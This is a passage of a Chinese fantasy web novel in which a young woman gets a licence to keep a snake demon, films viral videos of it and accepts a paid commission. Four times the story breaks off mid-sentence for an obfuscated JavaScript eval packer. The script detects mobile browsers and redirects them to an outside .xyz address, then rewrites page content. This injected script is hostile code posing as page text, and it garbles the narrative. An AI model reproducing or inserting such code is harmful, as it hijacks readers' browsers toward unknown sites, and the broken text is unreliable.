重力场抵消了特勤部长神乎其神的异术,舒情的脚总算是又感受到了实体的地面……虽说这地面仍然有点虚无。 年轻的人类和妖怪在短短两秒钟之内已经交手一回合,此时此刻,反射弧超长的胡游终于从震惊中反应过来,他扳住了金万里的肩膀,“你别冲动!” 金万里甩开了他,狰狞地冷笑一声,“一点弄巧——” 他未落的话音,忽然被突兀地截断了。 金发少年胸前佩戴的工牌警告似的急促闪烁着红光,他那制服里竟然绣了一层隐藏的阵纹。这时,红光从胸前的工牌开始飞也似地循着阵纹流经他全身,看不见的纹路凸显出来,几乎像从心脏开始泵经全身的一层血管。 舒情吃了一惊,小蛇妖瞳孔收缩,猝然立起半个身体。 特勤部长整个人都被困在了这套制服里,金色的瞳孔戾气十足地盯向门口。 舒情转头看去,门口是个不到四十岁的男人,金框眼镜,黑西装,气质温和儒雅,是一副很容易叫人生出好感的相貌。 “舒小姐,你好。”这男人朝舒情走来,伸出右手,彬彬有礼地自我介绍道,“我是超常规生物管理局的特监组负责人,谢衡。” 这是舒情进到这个超管局以来见到的少数让她看了有点好感的人,她不甚熟练地和他握手,“谢先生。” 谢衡身后的一个小助理补充说:“谢教授是我们超管局的首席特聘专家。” 舒情从善如流地改口,“谢教授。” 谢衡回过头去,画了一个手势,解除了金万里制服上的束缚阵。金万里阴着个脸,一言不发地退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903016|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了胡游后面。 舒情不太隐晦地一皱眉——这死小孩弄出来这么多破事,嘴上说着让她考试,实际上在她考试的过程中偷偷袭击她,最后还明目张胆地跟她动手。就这么放过了? 超管局这个公务机关已经没有纪律可言了吗? “超管局的‘特勤部’和其他的特勤不一样,”谢衡歉意地笑了笑,重新给她介绍,“我们的特勤部全称‘由特殊超常生物组成的勤务部门’,里面都是能化作人类形态的高等级妖怪,万里是已知的最高等级妖怪,9.2级。” 舒情:“……” 好的吧,原来真是个高级妖怪,那她一个成年人,咬着个保护动物不放也不大像话。 她扫了一眼满桌子的仪器设备,问:“那我的考试算通过了吗?” “当然,”谢衡温和地说,“舒小姐显然已经具备使用镇妖设备的能力,并且可以临机应变了。” 从监考官降级成考题的金万里脸色更不好了,愤恨地磨了磨牙。 舒情小小地雀跃了一下——这七天总算是没有白忙活! “万里之前的流程走得不太规范,”谢衡说,“不过我已经调取了监控记录,完全了解情况。没什么问题,我手动给舒小姐办理养育许可证吧。” 他登陆了超常生物管理局内网的系统,给舒情重新登记了“考试通过”的结果。舒情在旁边看着,十分习以为常地提醒道:“我的名字是‘七情’的‘情’。” 谢衡微微一顿,删掉了本来输入的“晴”字,说:“抱歉。”他又问,“很少见有人用这个‘情’字取名,有什么特别的寓意吗?” “哦,没什么,我妈说是‘锻筋骨,舒情志’的意思。”舒情解释说,“我妈是中医。她病人看多了,觉得我学业事业有成没成的都没关系,就希望我身体健康,天天开心,锻炼身体,别受委屈。” 她自嘲地笑说:“结果我筋骨没怎么锻炼,这情志倒真是屈不了一点儿。” 小蛇妖伏在她肩头,无声地笑。 都敢正面硬抗9.2级超常生物了,还一点也没有后怕的意思,可不是屈不了一点吗? 谢衡由衷赞美道:“令堂见事通透。” 他自提自批地走完了一系列流程,打印机里吐出来薄薄一张纸。谢衡加盖了公章,用一个烫金的硬封封好了,正式地把这张精美的许可证颁给了她。 舒情双手接过来,心里一块沉沉的石头总算落了地,一开心就没忍住,用脸去贴了贴小蛇的鳞片。 除了这张弥足珍贵的许可证,她还得到了一份超管局的补贴合同——为了保证高等级超常生物能得到良好的照顾,超管局每个月将给她一万块钱的补贴。 没想到还有这样的福利,这么一看,她和编外养育员差不多了。 误打误撞地得到了一份稳定的收入,金额还不算太低,这七天的苦学一点不亏。 舒情快乐地心想:这算不算是一种另类的考公上岸? 8. 回家 舒情把证书珍而重之地收起来。谢衡已经让助理给她打包好了一些日常的妖怪管束仪器,足有满满一背包。 包里塞满了设备,小蛇妖就不肯进去了,爬进了她袖管里盘在她手腕上,将自己盘成了个漂亮的小银手钏。 舒情轻轻晃晃手——不错,还挺酷,只此一家,绝无同款。 金万里蹲在墙边上埋头写检讨,一手狂草写得不比舒情背了七天的那些图案好认多少。眼看舒情要带着小蛇妖走了,他终于还是不甘心,放狠话说:“你等着。总有哪天,他会后悔,他不会永远待在你那儿!” “哦,”舒情回过头来,笑吟吟地说,“那久远得没影的事,就不劳烦金部长费心了。” 金万里被她气死了,把写了一半的检讨挠出来几条印子。 人和人的悲欢就已经很难以相通了,更何况是弱不禁风的人类和一个9.2级超常生物,舒情才懒得理他怎么想。 她摸摸手腕上恹恹打瞌睡的小蛇妖,轻快地宣布—— “小红回家啦!” 墙上贴着的最后一页倒计时被一把撕下来,露出藏在最底下的Q版小蛇贴纸。舒情用电脑音箱播放《WeeHome》,还顺路买了几个花花绿绿的气球,飘在天花板上,营造出了一种简洁而热烈的欢迎气氛。 小蛇妖无言以对,只得默默地把脑袋藏到了身体下面,选择眼不见为净。 舒情完全误解了他的肢体语言,她双手把他捧起来,亲了他一下,心疼地问:“他们是不是虐待你了?” 小蛇妖一个激灵,整条蛇往后一缩,仿佛遭到了调戏的贞烈蛇蛇,嘶嘶地朝她龇牙。 “你们妖怪是不是比较讲究弱肉强食、物竞天择那一套啊,”舒情大开脑洞,“那个金部长,玩了命地想把你抢回去,该不会是想吃了你,给自己升级吧?嘶……你这么条小蛇,能吃了你的妖怪还挺多的。” 她还握拳,“我是得好好学那些对付妖怪的东西怎么用,万一有哪个不长眼的妖怪打你主意呢?” 小蛇妖:“……” 可真是谢谢她的好意了。 “对了,还有那个考题,”舒情忧心忡忡地跟它说,“你可别真那样啊!谁要是敢欺负你,别忍,咬他就对了!我也不一定每次都能及时注意到的。” 她怜惜地问,“你是不是吓坏了?吃块糖压压惊?普通的小蛇不能吃,但超管局的资料里说,人能吃的东西,妖怪基本都能吃。你可以吃吧?” 小蛇妖别过头去。然而下一刻,一块奶糖就喂了过来,舒情看它不动,还往它嘴边又送了送。 片刻,小蛇妖张开了嘴,咬住了那块糖。 他想,这个时代的糖果,原来是这么甜的啊。 前生她喂给他的那枚毒药,始终在舌根残留着依稀的腥涩。直到这一刻,甜丝丝的味道流经喉咙,终于将那苦了一千多年的味道冲刷殆尽。 原来他到头来,还是想要这么一口甜味…… “没关系,”舒情安慰它,“以后再也没有人会带走你了。看,我还准备了个礼物给你呢!” 她从口袋里掏出来个红绳编织的小项圈,尾戒那般大小,鲜艳美丽,还挂着一个水滴似的精巧的白水晶吊坠。 她拿着这枚项圈,往小蛇脖子上戴,“好看吧?我找人定做的。从今以后,你就是我的小妖怪了,这个小吊坠上刻着我的姓……” “嘶!” 小蛇妖红瞳中露出怒气,用力地一甩头,甩开了那枚红项圈。 它忿忿地从舒情手里游走了,小项圈一脱手,吊坠带着红绳滚了两圈,差点摔在地上,幸好舒情眼疾手快地接住了。 她挠挠头。这怎么又生气了,不喜欢吗? 她还特意选的跟它一样的红白配色,觉得它戴着会好看呢…… 小蛇妖已经游到了枕头边,恨恨地盯了她一眼。 “真不要啊?”舒情把项圈捡起来,在小蛇妖面前晃了晃,看它龇牙,只得无奈地把小项圈收到了一边,搁置了这个想法。 她往枕头上一躺,打了个哈欠,积攒了七天的疲惫秋后算账,一股脑地压在了她眼皮上,她眼睛都要睁不开了。 不过在补觉之前,她还得郑重地去感谢一个人。 “这次真是多亏了九素,”她一边抵抗着困意掏出手机,一边迷迷糊糊地跟小蛇妖说,“你不认识他……好吧,其实我也还不算认识。不过,我估计他应该是个研究超常生物的专家吧,这次帮了我大忙,陪我补了七天的课,我得好好谢谢人家。” “要不是他,我肯定弄不明白超管局那一堆乱七八糟的手势啊,符号什么的,别说会用了,恐怕我背都背不下来……” 她边说边打字:“多谢前辈,我考试过了!” “多亏了前辈帮忙。我看咱俩的ip都在H市,不知道你有时间吗,我请你吃个饭?” “不方便的话,我就准备一点谢礼寄给你,你有什么喜欢的东西吗?” 小蛇妖在旁边看着,默不作声地用蛇身盖住了脑袋,装睡。 “……咦,”舒情等了半天,对方仍然音讯杳然。她挠了挠头,明明备考那会儿她有问题,人家都是秒回的,“有事在忙?” 也对,人家一个研究专家,有事在忙才合理。 能有问必答地给她补一星期的课,已经是很重的情分了。 舒情把这份恩情暂且记账,暂且不去打扰九素,等他回信。 人和蛇倒头大睡,各自补了两小时觉。下午四点,舒情满血复活爬起来,再次架起拍摄设备——她之前想剪的那条个妖向视频,连分镜都画好了,结果第二天就被超管局横插的这一杠子打断了。 她戳戳小蛇妖,“不戴我给你的项圈,配合我拍条官宣视频总可以吧?” 小蛇妖饶有兴趣地盯着她黑洞洞的相机镜头看,闻言瞅着她,点点头。 小妖怪说到做到,这次说配合她,果然就指哪打哪,一点也不逆着她,拍摄过程顺利得舒情都有些意外。 她心想:难道是蛇崽子被关了七天,脾气变温顺了? 嗯,它被超管局带走那天,对她还爱答不理的,接回来之后,比从前好说话多了。 她这么一想,有点心疼,也不跟它计较不肯戴项圈的事了,就摸摸小蛇妖的脑袋,喂了两条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903017|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉干,全身心地投入了她的剪辑大业。 一路兴兴头头地忙到傍晚,她心满意足地收了工,视频命名为“有小红陪伴的24小时”,发布。 这条“官宣视频”发表了没多久,就收获了不少热度——之前小蛇妖引来的关注还没有完全减退,她备考的时候,又有意识地提过“需要考超管局许可证才能继续养”的事,事先就吊住了不少人的胃口。 “恭喜up!” “让我们鼓掌欢迎新晋的宝可梦训练师” “天哪好可爱好可爱好可爱” “朝哪个方向许愿才能得到这么萌的凶兽……” 前15s的小蛇妖主打一个可爱无害,趴在饲主手上乖乖吃糖,尝到了一点甜味,就幸福地蹭她的手指,和千千万万普通的小宠物几乎就没有区别。 舒情用打光模拟出了白日的变化,天光自明而暗,轮转出一种岁月静好的情调。BGM配的也是慢节奏的民谣,浅斟低唱,十分治愈。 阳光渐渐黯淡,画面里的主角打了个哈欠,摇头摆尾地钻到了一块手绢底下。 整个画面黑下去,视频里山呼海啸地刷过了一大串“前方高能”—— 漆黑的画面里,骤然睁开了一只血红的竖瞳。 一瞬间,每个人眼前都有一刹那红光闪过,小妖怪的特异功能居然能实现裸眼3D特效,直击入魂。 舒情剪了一段直播回放插进去,三个大汉匍匐在地,雪白的小蛇从黑暗里优哉游哉地游出来。白天的小宠物变成了黑夜中的杀手,一路披霜带雪,冻裂了一串布景。 布景虽然简陋了点,但她靠着专业的剪辑技术,也能剪出杀神入阵的效果。一连好几个切镜,配上时不时闪烁的神奇特效,锋利的危险几乎杀穿了屏幕。 “蛇蛇杀我!” “卧槽,第一次刷到拿幻术当3D特效用的up” “大妖的排面!” “啊啊啊啊游过来了!” 小妖怪慢条斯理地游到了镜头前,朝着镜头外窥伺的人,竖起了半个身体。它眼瞳里闪烁着恶意的红光,朝屏幕外嘶嘶地吐信子,露出了一副毒蛇的凶性。 就在此时,镜头外忽然伸来一只纤长的手,轻盈地堵住了那险恶的蛇信,还说了句:“嘘——别闹。” 小毒蛇顿时乖了,无辜地歪歪头。 新一天的晨曦升起来了,视频在轻松可爱的氛围里宣告结束,炸出了一吨弹幕。 “蛇蛇危险,然而超乖的” “卧槽,up这个证没白考” “凶残妖怪是我的萌萌宠物” “我是大妖怪的枷锁与刀鞘!” “比第一段还甜呜呜呜” 还有脑洞大开的文青在评论区里编段子,“暗夜人外杀手x温柔甜系少女”,舒情拜读一番,笑倒在地,甘拜下风。 她愉快地把手机放下,戴上隔热手套,从电磁炉上端下来一锅香气扑鼻的鸡汤,并宣布:“小红,开饭啦!” 小蛇妖被她捧走了,趴在她手心里望着手机屏上高歌猛进的热度,心情复杂,一言难尽。 为何……会是这样? 9. 第一次商单 胡游和他说“妖族不能修炼”的时候,他怼了回去,但心里其实并不像表面那样无动于衷。 在超常生物管理局的时候,灵气稀薄得确实近乎于无,然而他在舒情身边时,妖力又确实恢复得极快——就比如这一下午,他就觉得一直在大幅度地恢复,尤其是舒情发布了这支视频以后。 从天生灵物的眼瞳之中看来,能看到一团莹润的灵光,从舒情身上散发出来,充满了整个房间。 就算是什么都不做,只要浸润在这团灵光里,妖力就能渐渐恢复,更别说他还可以借此修炼了。 前世她曾以自己的血肉惠泽天下,是被万千凡人选中的神女,确实得到过众人的“愿力”。那时的情形,几乎和现在一模一样,难道说今生她还依旧保有这个特质吗? 可是,她今生只是个寻常人啊,并没有身在万众之间受众人景慕…… 若非要说牵系万众,那也只有这个能算得上了吧。 古代的妖王觉得十分荒谬。于方寸之间,见天下之人,这世界的更迭,真是日新月异。 然而所谓的命运却恒常若此,除非神魂俱灭,否则哪怕历经生死,也不能摆脱吗? “吃饭啦!”舒情往他嘴边怼了一块切成了长条的肉,“指甲盖大小的小脑袋,想什么事想得发呆呢?” “……” 小妖王睨了她一眼。说谁没脑子呢,她自己才是什么都不知道的那一个。 算了,这也不是一朝一夕能解决的,先吃饭吧。 他张嘴咬住,感觉她做饭的手艺和命运一样恒常而稳定——前后两辈子,都只能说是勉强能入口。 再等一等吧。现在,超管局想必还在密切地关注着他们,万里和胡游也还没有彻底死心。等到他们不再记得他的存在,他就能用人身见她了。这个时代所有的发明都是以“简单好用”为标准的,想必不难上手,到时候就换他来下厨…… ……不,不对。他只是想清还他欠下的债,偿还完,就两不相干了,还要以人身相见做什么? 小蛇妖是个现成的宠物吃播,嘴巴矜持地一动一动,与人类饿死鬼般的吃相对比鲜明——舒情已经稀里哗啦地干完了一碗饭,小蛇还盘在她边上在细嚼慢咽,竖瞳里甚至流露出一丝人性化的嫌弃。 舒情“啧”了一声,心道:难伺候的大少爷。 她在心里琢磨着,下次拍个吃播视频也不错。虽然没什么特别的看点,但是可以下饭啊。 她通过观察得出了结论:小红是个热爱甜品的纯肉食动物,喜欢吃水产,蛇信子还挺能品出来贵贱。她买的新鲜的好虾,它就来者不拒,普通肉类也能给面子吃一吃。甜度高的水果肯屈尊纡贵地啃一口,蔬菜之类的那是碰也不碰。 还不错,口味和她接近,看来以后能吃到一处。 舒情打开短视频app,想再看看数据。到现在为止,新视频发了两小时,评论区轮番刷新,恭喜她的,蹲新视频的,拉cp的,应有尽有。 后台里还有一堆私信,她被一个有点眼熟的头像吸引了注意力——她去超管局的时候,等候厅里有个花了大价钱购得一只超常生物的富二代。她当时虽然满腹心事,无奈富二代太张牙舞爪,还是给她留下了一点印象。 这个头像,仿佛就是当时富二代怀里的那只超常生物? “hi,接定制私单吗?我想约你给我的小妖怪也拍段这样的视频。” “价格不是问题,我可以出十万,效果要是好,我给你加钱!” ……哦豁? 有钱不赚王八蛋,舒情果断决定:接了。 “接定制哟,但劳烦把你家小妖怪的资料发给我。”舒情回复,“我需要根据小妖怪的实际特征构思。比如说用拍毛茸茸的方式去拍爬宠,那肯定是不太合适。” 她在结尾给他留了自己的邮箱。没一会儿,对方回复了一个大大的拇指,称赞道:“专业!”并往她的邮箱里发来了一大包资料。 舒情看得脑壳疼。 不愧是一位笃信基因与传承的富二代,这份资料里囊括了超常生物自身的检测报告、它生物学父母的检测报告,甚至还有祖父母和外祖父母,简直是给她打包了个户口本。 她把“户口本本妖页”逐行逐句读了一遍,其他亲属关系的统统跳过,又把富二代发来的视频资料0.5倍速看完,纠结地抓抓头。 她的甲方是只金色的卷尾巴小猴子,长得Q萌Q萌的,只有拇指般大小,从视频里看不出来任何作为妖怪的特征。 舒情本来想给它弄一套披挂,直接cosplay猴界顶流齐天大圣,还能让她家小蛇友情出演一条蟒蛇精。然而此猴……干什么都慢三拍,自带一种温吞水般的气质,和猴哥ooc得连根毛也不搭,要是强行cos,恐怕只能cos个六耳猕猴。 小蛇妖循着她的手臂爬到她脖子上,在她肩窝里停下来,漂亮的红眼睛盯着电脑屏幕看。 舒情很乐意有小蛇陪着她干活,她点点小蛇的脑袋,笑眯眯地问它:“你认识它吗?” 小蛇妖回答不了她,还是得求助于搜索引擎。 “帮我搜索,”舒情一边反复观看视频,一边用语音吩咐搜索引擎,“超常生物……呃,拇指大小的金毛猴子,有什么特点。” 搜索引擎很快给舒情检索出一堆网页——有的讲怎么判断一只猴子是不是超常生物,有的列举了宝可梦火焰猴的能力与进化途径,还有的详细阐述了前往峨眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903018|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山的游客怎么防止被猴子袭击。 舒情看得一捂脸,“什么鬼!” 她无奈了,只得厚着脸皮又点开了联系人列表里的“九素”。 九素到现在还没给她回复,看来既不想约饭,也不需要她的谢礼。 “前辈好,我想再请教一下,”她乖巧地说,“我有个甲方,养了一只小妖怪,现在我们想了解这只小妖怪有什么习性和特点。” 她尽可能准确地把拇指猴、反应慢等情况描述了一下,又说:“我想知道,它喜欢什么、害怕什么?它会有什么特殊的能力吗?还有,它……” 舒情求知欲旺盛地足足列了一屏幕的问题,还挑出了视频里最有效的几个片段,剪成了一段9s的小视频一并发送,结尾附赠一个讨好卖萌的表情包。 小蛇妖在旁边看着,不高兴地甩甩尾巴。 “哦豁,小红生气了?”舒情用眼角余光瞄见了小蛇妖的反应,一把抱起他调戏,“嫌我忽略你了?看不出来,你还挺粘人的。” 她想想,又说,“也对。超管局说你是个小雄蛇,我听说,雄性的小动物确实是比较粘人……” 小蛇妖又作出凶相,“嘶嘶”地吐着信子。 “我那纯粹是为了赚钱养家,”舒情以为小蛇在醋那只拇指猴,她关上了电脑,哄道,“那小猴子的主人给我开了十万块钱呢,顶我从前小半年工资,能赚到这个钱,咱们就可以搬家了。” 她仰面朝天躺在床上,单身公寓的隔音无法恭维,一堵墙挡在中间,她也能听见邻居在打电话。 “……我隔壁那家养了条蛇,”邻居的声音隐隐约约地传过来,“听说还是只妖怪,吓死人了,变态!换地方?唉,我也想啊,但这不是还押着押金吗……” 舒情翻了个白眼,很想隔着墙喷回去,但毕竟接受过素质教育,还是个讲道理的好青年,到底没吭声。 怕蛇是人之常情。一只漂亮又珍稀的网红小蛇妖,隔着千山万水的绝对安全距离,能吸引到一群粉丝,不代表就没有人害怕它了。 就只隔着一堵连声音都挡不住的墙,知道隔壁有一只攻击力极强的冷血妖怪,将心比心,换了她,她也毛骨悚然,没道理说人家怎么过分啊。 还是搬家吧。这公寓水电费高,生活也不方便,她也早想搬走了。 舒情看了一眼手机,九素还没回复她。半夜十二点,也不好再打扰人家。 她给手机充上电,按灭屏幕,抱着“尽快赚钱搬家”的美好愿望睡着了,梦里还在惦记着新的视频该怎么拍。 过了一会儿,小蛇妖凑过来,吐了吐信子。 确信她睡着了,他才绕过她,轻车熟路地变出人身,解开了她的手机锁屏。 10. 共枕 银发少年背对着舒情,快速地一通操作,随后将手机纹丝不差地放回了原位,一切都恢复原状。 他悄无声息地回到了床上,动作轻得像一片羽毛,一点也没有惊动沉睡的舒情,蜷卧在了她身边,贪婪地、长久地凝视着舒情的脸。 她今生的面容和前世很像,灿烂明艳,灼如朝阳,美好得非常客观,决不是他偏私之见。 这样的一张脸,与笑容乃是绝配,不该露出任何的哀愁和苦相,更不可以……孤独地油尽灯枯了,像她前世的下场。 她的面孔泛着健康的粉色,唇角翘起,一定是做了个美梦。 真好。 少年也跟着露出了一个微笑。他伸出手,想去碰碰她脸上的酒窝,指尖才碰到一点,就触电似的缩了回来,牢牢地蜷进了手心里。 他问自己,“不是说往后两不相干吗?” 然而他的目光并不肯遵循理智的告诫,依然缠绵地眷恋着她。她有一点消瘦,眼底发青,是这张莹润的面孔上唯一的突兀之处。 他小心地去抚摸她的眼睛,指尖流出一丝纯白的寒气。他的妖力以破坏见长,并不善于修复和疗愈,做这些只是聊胜于无。她总是叫他无力。 她的憔悴,是连着七天废寝忘食的缘故,是为了留他在身边。 无论前世今生,好像沾上他的事,就总是让她这样难。 少年把头靠在她手边,侧脸挨着她蜷曲的指节,安静地闭上眼睛。 她还和从前一样,睡觉时不喜欢拉窗帘,千年不改的月光照进来,恍惚仍在月色如霜的海岛上,他与她相对而眠。 前生凄凉收场,经年生死至今,她身边仍然是他唯一能安然入梦的地方…… 这样就很好了,他告诉自己。就这样短暂地彼此依偎片刻,已经很好了。 命运慈悲为怀,肯网开一面地给他留下这一线温存,岂难道是叫他没完没了地沉溺下去的吗? 能有这么一点短暂的、相伴的时间,他已经心满意足了。 他下意识地蹭了蹭她温暖的指节,在心里警告自己:迷途知返。 从前他若是能早早断了心思,何至于自己殒身不说,还连累她同死? 这一世,决不能再这样。 舒情第二天醒来的时候,神清气爽。她洗漱完,对着镜子照一照,感觉容光焕发,常年酸胀的眼睛也舒服多了,看来她的金手指又给她续了一波。 有了精力就能拍更多的小视频,有了更多的小视频就能给她补完精力,完美的良性循环! 还有,她总算是等到了九素的回复……而且回复的质量相当之高。 “千余年前,有一支特殊的妖族,可知往事。”九素告诉她,“本是一种特殊的异术,当时的妖王偶尔也会求助于他们。你这一只,身具这支妖族的遗留血脉,也有同样窥见往事的异能。” “太好了,果然有特殊能力,”舒情脑子里转着各种主意,“窥见往事……能看到过去?这还挺新鲜的,嗯,可以搞个‘拇指猴警长’的毛茸茸刑侦小视频……” 她接着又往下看,九素接下来写道:“它不能控制妖力,眼前所见的无不是数息之前的过往之事。正常的妖怪不会如此,也许它来历诡异。” 舒情沉默片刻,“啊”一声,怜悯道,“可怜的小妖怪。” 来历诡异——在超管局的时候她听过一耳朵,她那金主大小姐是花了不少钱买的这只小妖怪,资料里也夹着一张商家给的证件。 恐怕就和那些有残疾的宠物一样,是人工繁育的结果吧。 那她的小蛇妖呢? 她摸一摸蜷在她肩上打瞌睡的小蛇妖,嘀咕了一句:“你该不会也是这么来的吧……” 小蛇妖半睡不醒地摆摆尾巴,表示:他还没有惨到这个份上。 “也不知道有没有办法能治,九素没说,看来希望渺茫。”舒情叹了口气,突发奇想,“哎,你说,用我的‘金手指’有没有戏?” 她问这话其实本来并没期待得到什么答复,然而小蛇妖抬起头来,幅度很小地朝她点了点头。 “真的有用?!”舒情眼睛“唰”地亮了,“你怎么知道,你是不是也能感觉到?我就说嘛,不可能是我的错觉。不过这话说给甲方大小姐,她估计不会相信吧,我还得想想办法。” 她托着腮帮子想了一会儿,决定,“试试总是好的,又不花我的钱。等拍完金主的视频,我再和她商量商量,看能不能拍个公益视频,避雷这种私下卖小妖怪的商家。” 她把这件事标红加粗地列进了待办事项里,又低下头去,仿佛读教材似的,摊开本子对着素回复她的信息做笔记,“杂食,什么都能吃……但需要避免惊扰。嗯,这些都是拍摄时候的注意事项……哎?” “不必破费,”科普末了,九素婉拒了她“请吃饭”的邀约,“倘若当真想谢我,就善待你的小妖怪。” 舒情坏笑着戳戳小蛇的尾巴,“九素说,让我对你好点哎。” 小蛇妖缩起尾巴尖,躲开了她的手,看天看地,假装没听见。 “谢谢前辈,我收到了,非常有用!”舒情给九素写回复说,“下次还给我发语音就行,我听语音也挺方便的。” 她颇为心机地用体贴和礼貌掩盖了真实目的——她很中意九素那一口不疾不徐的清越声线。 普通话虽然不怎么标准,但却是十分标准的美人音,在她拼命补课的时候,给她提供了至关重要的精神慰藉。 舒情支着下巴笑,“我感觉这个人真有意思。” “嘴硬心软,有忙必帮,但谢绝闲聊?”舒情脑子里勾勒出了一张清清冷冷的脸,在纸上信手涂画,“看他这么专业,应该挺有资历的,可是听声音又很年轻,顶多也就和我一样大。” “哦,还让我叫他‘前辈’呢,说话斯斯文文的,还挺有文化。” “该不会是什么隐世家族的传人之类的吧?” 她信笔勾勒,寥寥数笔,纸上的人有了轮廓和神韵。 舒情拎起纸抖了抖:“不知道有几分像?” 她纸上画的是一张介于少年和青年之间的侧脸,长发披垂,神情淡漠,眉眼美丽得近乎锋利,几欲划破纸面。虽然只有寥寥几笔,然而她画功了得,阳光透过纸张的一瞬间,那双眼竟似乎生出了魂魄。 小蛇妖骤然支起身,盯住了纸上的人。 这画上的人几乎和他有七分神似,一瞬间,他几乎怀疑自己昨晚太过忘形,露出了形迹,让舒情觉察了他的真容。 “奇怪,”偏偏这时,舒情嘀咕了一句,“看上去好眼熟啊。” 小蛇妖:“……” 他感谢自己现在不能说话。 某只蛇妖蜷在一边沉浸式装死,于是舒情到最后也没想起来,她到底从哪见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903019|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过画上的人。 她自圆其说地为自己解释:八成是哪个游戏里的SSR,又或者是哪位男明星,在她脑子里留了个印象,下笔的时候直接进行了个模糊匹配。 嗯,逻辑通顺。 她小心地把那幅画吹了吹,夹进了自己的笔记本里,留作收藏。 短暂的摸鱼时间到此结束,借着素给她的笔记,舒情开始专心地构思给甲方金主的方案。 “我最倾向于从它的特殊能力入手,”两天后,舒情约了个视频会议,和她的甲方线上投屏,“养妖up的受众普遍最关注特性和能力。比如宠物区这些热度最高的up……” 她打开宠物区,按照热度从高到低排序。舒情自己的视频赫然在列,除此之外,她关注列表里的那只白猫也很受欢迎,“猫形解压器”十分管用,吸引了好几十万濒临抑郁的学牲与社畜。 还有能跳拉丁舞的狗狗,会唱流行歌曲的八哥,总之,是一群各显神通的宝可梦。 视频连线两端,两个人都很拘谨。舒情因为要见甲方,特意将自己好好拾掇了一番;甲方本人大概是出于尊重,也打扮得十分精致。 富二代甲方专注观看,频频点头;自由职业乙方胸有成竹,侃侃而谈。两个衣冠楚楚的姑娘隔着一面屏幕对坐着,都在努力维持严肃商业会议的氛围。 “其次,能力展示的形式也非常重要。” 舒情拉到人气榜顶端,当前的人气榜首是一只会喷火的小飞鼠,最高赞视频是一条施法翻车现场——小鼠对着镜头吸气吐气,腮帮子一鼓一鼓,酝酿了足足半分钟,喷出了一口零零散散的火星子。 弹幕狂笑不止,“操作猛如虎伤害零点五”“鼠鼠回家吧回家吧”,几万条弹幕重重叠叠滚过屏幕,点赞高达近千万。 “我也看过这个,”富二代大小姐一乐,“它表情包更流行,我们游戏群里,天天拿这个嘲那些读半天条打不出伤害的法师菜狗。” 舒情会心一笑,两个人的目光隔着网络信号相对,同时露出了马脚:都不是什么靠谱的人,打游戏、刷视频,总之在“不务正业”上很有共同语言。 严肃的商业会议氛围维持不下去了,但甲乙双方达成了初步的一致,可喜可贺。 “反正总结下来,大概就是可传播标签、拟人化联想这些。”发现对方和自己是同一路人,舒情就放松多了,她打开一个分镜文件夹,“我画了几个脑洞,你看看有没有喜欢的?” 大小姐也放松多了,往椅背上一靠,从摄像头拍不到的地方端来一杯咖啡,边喝边看。 她的拇指小猴趴到了镜头前,可爱的一小只,毛茸茸,金灿灿,看着有种阳光草地的暖融融气息。 舒情一边给甲方播放她的分镜视频,一边观察那只拇指小猴——它正歪着头好奇地打量屏幕上舒情画的另一个“自己”,伸爪抬腿地试图模仿。 她特意观察着,发现它每个动作都延迟了三秒以上,如果不是有意观察,只会觉得它活泼呆萌,憨态可掬。 小蛇妖无声地爬到舒情肩上,朝着镜头恶意地吐了吐信子。 三秒钟后,拇指小猴惊恐地往后一跳,躲到大小姐背后,连脑袋都不敢探出来了。 舒情:“……” 她养了好凶的一只小妖怪。 大小姐手里的方案稿终于翻到了最后一页,舒情屏气凝神,等着她的结论。 11. 拉cp “太专业了!”大小姐拍案赞叹,“我最想要这个‘拇指猴警长’,这个有意思,拍个毛茸茸探案片,我爱看!” 舒情也很高兴,和她确认:“这个方案,我让我的小蛇客串下嫌疑蛇,可以吗?” “当然可以了,”大小姐欣然同意,“把你家凶凶的小坏蛇绳之以法,嘿,多威风!” 小蛇妖懒洋洋地吐信子,瞥了那准备将他捉拿归案的“猴警长”一眼。 